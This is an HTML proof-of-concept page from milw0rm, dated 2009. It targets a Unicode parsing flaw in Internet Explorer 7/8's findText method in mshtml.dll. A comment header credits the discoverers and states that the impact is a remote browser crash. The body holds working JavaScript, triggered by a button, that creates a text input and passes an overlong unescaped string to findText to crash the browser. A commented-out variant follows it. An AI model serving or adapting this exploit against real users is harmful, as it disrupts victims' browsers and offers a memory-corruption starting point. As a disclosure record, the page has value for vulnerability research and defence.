<meta http-equiv="Context-Type" content="text/html; charset=US-ASCII">
<!--
Contact:h0n9t3n@gmail.com,AmesianX@gmail.com
Title: MS Internet Explorer findText Unicode Parsing error
Vulnerability (mshtml.dll)
Bug discovered: Hong10
PoC code: AmesianX & Hong10
Critical: low
Impact: MS Internet Explorer 7/8 Crash
Where: From remote
Tested Operating System: Windows XP SP3 FULL PATCHED (Korean Language)
Solution: I don't know..
Description:
The following bug was tested on the latest version of Internet
Explorer 7/8.
by research team NSHC
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><title>IE findText crash</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body>
<input type="button" value="exploit" onclick="do_crash();">
Hit the button after ie7/8 crash..
<script>
function do_crash()
{
var o1=document.createElement("input");
o1.type="text"; //or password
o1.id="powerhacker";
o1.value="AAAA";
document.body.appendChild(o1);
var r= o1.createTextRange();
r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1);
//maybe string length allocated stack but over length allocated heap memory
//r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1,131072);
//this code is no crash becase 3 parameter
}
</script>
</body></html>
<html><body></body></html>
# milw0rm.com [2009-07-24]
